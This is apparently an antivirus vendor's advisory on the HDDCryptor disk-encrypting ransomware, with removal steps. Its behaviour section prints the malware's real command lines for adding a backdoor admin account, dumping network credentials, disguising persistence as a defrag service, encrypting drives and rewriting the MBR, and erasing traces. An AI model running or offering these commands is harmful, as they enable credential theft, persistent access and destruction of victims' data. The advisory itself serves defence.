This ransomware does not only target resources in network shares such as drives, folders, and files but locks the drive as well. It does this by combining both legitimate and malicious tools.
To get a one-glance comprehensive view of the behavior of this Trojan, refer to the Threat Diagram shown below.
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %System Root%\DC22\dcapi.dll
- %System Root%\DC22\dccon.exe
- %System Root%\DC22\dcrypt.exe
- %System Root%\DC22\dcrypt.sys
- %System Root%\DC22\log_file.txt - Log of malware activities
- %System Root%\DC22\Mount.exe
- %System Root%\DC22\netpass.exe
- %System Root%\DC22\netuse.txt - used to store information about network users
- %System Root%\DC22\netpass.txt - used to store user passwords
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
It drops and executes the following files:
- %System Root%\DC22\dcinst.exe - with parameter: -setup
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
It adds the following processes:
- For Windows XP or Server 2003:
- %System%\cmd.exe /c net user /add mythbusters 123456
- %System%\cmd.exe /c net localgroup administrators mythbusters /add
- %System%\cmd.exe /c cmd /c net use >> c:\dc22\netuse.txt
- %System%\cmd.exe /c C:\DC22\netpass.exe /stab C:\DC22\netpass.txt
- For Windows Vista and above:
- %System%\cmd.exe schtasks /create /tn DefragmentService /TR \"cmd.exe /c net use >> c:\\dc22\\netuse.txt\" /sc DAILY
- %System%\cmd.exe schtasks /run /TN DefragmentService
- %System%\cmd.exe schtasks /delete /TN DefragmentService /F
(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
Autostart Technique
This Trojan adds and runs the following services:
- Service Name: DefragmentService
Display Name: DefragmentService
Start Type: SERVICE_AUTO_START
Binary Pathname: {malware path}\{malware name}.exe 123141
Other Details
This Trojan does the following:
- Reboots the system
- After reboot, it will execute the following:
- %System Root%\DC22\Mount.exe 123141
- %System Root%\DC22\dccon.exe -boot -setmbr hd0
- %System Root%\DC22\dccon.exe -encrypt pt{0-9} -p
- It uses the tool %System Root%\DC22\dccon.exe to encrypt the disk drive and modify the Master Boot Record to display the ransom note.
- After encryption, it will execute the following command:
%System%\cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & sc delete DefragmentService & Del "{malware path}\{malware name}.exe" & taskkill /im Mount.exe & Del ""%System Root%\DC22\Mount.exe"" & Del ""%System Root%\DC22\netpass.txt"" & Del ""%System Root%\DC22\netuse.txt"" & Del ""%System Root%\DC22\netpass.exe"" & net user /del mythbusters & shutdown /f /r /t 0
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)
NOTES:
After another reboot, it displays the following ransom note at boot up:
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
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To restart in Safe Mode:
• For Windows 2000 users
- Restart your computer.
- Press F8 when you see the Starting Windows bar at the bottom of the screen.
- Choose the Safe Mode option from the Windows Advanced Options menu then press Enter.
• For Windows XP users
- Restart your computer.
- Press F8 after the Power-On Self Test (POST) routine is done. If the Windows Advanced Options menu does not appear, try restarting then pressing F8 several times when the POST screen appears.
- Choose the Safe Mode option from the Windows Advanced Options menu then press Enter.
• For Windows Server 2003 users
- Restart your computer.
- Press F8 after Windows starts up. If the Windows Advanced Options menu does not appear, try restarting again and pressing F8 several times afterward.
- On the Windows Advanced Option menu, use the arrow keys to select Safe Mode then press Enter.
• For Windows Vista, Windows 7, and Windows Server 2008 users
- Restart your computer.
- Press F8 after the Power-On Self Test (POST) routine is done. If the Advanced Boot Options menu does not appear, try restarting and then pressing F8 several times after the POST screen is displayed.
- On the Advanced Boot Options menu, use the arrow keys to select the Safe Mode option, and then press Enter.
• For Windows 8, Windows 8.1, and Windows Server 2012 users
- Access the Charms bar by moving your mouse pointer to the upper right corner of the screen.
- Move your mouse pointer down and click Settings>Change your PC Settings.
- In the left panel, click General.
- In the right panel, scroll down to the bottom to find the Advanced startup section, then click the Restart now button and wait for the system to restart.
- In the Advanced Startup menu, click Troubleshoot>Advanced Options>Startup Settings>Restart and wait for the system to restart.
- In the Startup Settings menu, press 4 to enable safe mode.
Step 4
Disable this malware service
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Disabling a Malware Service
To disable a service:
- Open a command prompt window:
» For Windows 2000, Windows XP, and Windows Server 2003 users, click Start>Run, type cmd in the text box provided, and press Enter.
» For Windows Vista, Windows 7, and Windows 2008 users, click the Start button, type cmd in the Search input field, and press Enter.
» For Windows 8, Windows 8.1, and Windows Server 2012 users, right-click on the lower left corner of the screen, click Command Prompt. - At the command prompt, type the following:
NET STOP - Press Enter. A message should indicate that the service has been stopped successfully.
- Close the command prompt window.
Step 5
Search and delete this file
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There may be some files that are hidden. Please make sure you check the
Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
- %System Root%\DC22\dcapi.dll
- %System Root%\DC22\dccon.exe
- %System Root%\DC22\dcinst.exe
- %System Root%\DC22\dcrypt.exe
- %System Root%\DC22\dcrypt.sys
- %System Root%\DC22\log_file.txt
- %System Root%\DC22\Mount.exe
- %System Root%\DC22\netpass.exe
- %System Root%\DC22\netuse.txt
- %System Root%\DC22\netpass.txt
To manually delete a malware/grayware file from an affected system:
• For Windows 2000, Windows XP, and Windows Server 2003:
- Right-click Start then click Search....
- In the File name* input box, type the following:
- %System Root%\DC22\dcapi.dll
- %System Root%\DC22\dccon.exe
- %System Root%\DC22\dcinst.exe
- %System Root%\DC22\dcrypt.exe
- %System Root%\DC22\dcrypt.sys
- %System Root%\DC22\log_file.txt
- %System Root%\DC22\Mount.exe
- %System Root%\DC22\netpass.exe
- %System Root%\DC22\netuse.txt
- %System Root%\DC22\netpass.txt
- In the Look In drop-down list, select My Computer then press Enter.
- Once located, select the file then press SHIFT+DELETE to delete it.
*Note: The file name input box title varies depending on the Windows version (e.g. Search for files or folders named or All or part of the file name.).
• For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open a Windows Explorer window.
- For Windows Vista, 7, and Server 2008 users, click Start>Computer.
- For Windows 8, 8.1, and Server 2012 users, right-click on the lower left corner of the screen, then click File Explorer.
- In the Search Computer/This PC input box, type:
- %System Root%\DC22\dcapi.dll
- %System Root%\DC22\dccon.exe
- %System Root%\DC22\dcinst.exe
- %System Root%\DC22\dcrypt.exe
- %System Root%\DC22\dcrypt.sys
- %System Root%\DC22\log_file.txt
- %System Root%\DC22\Mount.exe
- %System Root%\DC22\netpass.exe
- %System Root%\DC22\netuse.txt
- %System Root%\DC22\netpass.txt
- Once located, select the file then press SHIFT+DELETE to delete it.
*Note: Read the following Microsoft page if these steps do not work on Windows 7.
Step 6
Restart in normal mode and scan your computer with your Trend Micro product for files detected as RANSOM_HDDCRYPTOR.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
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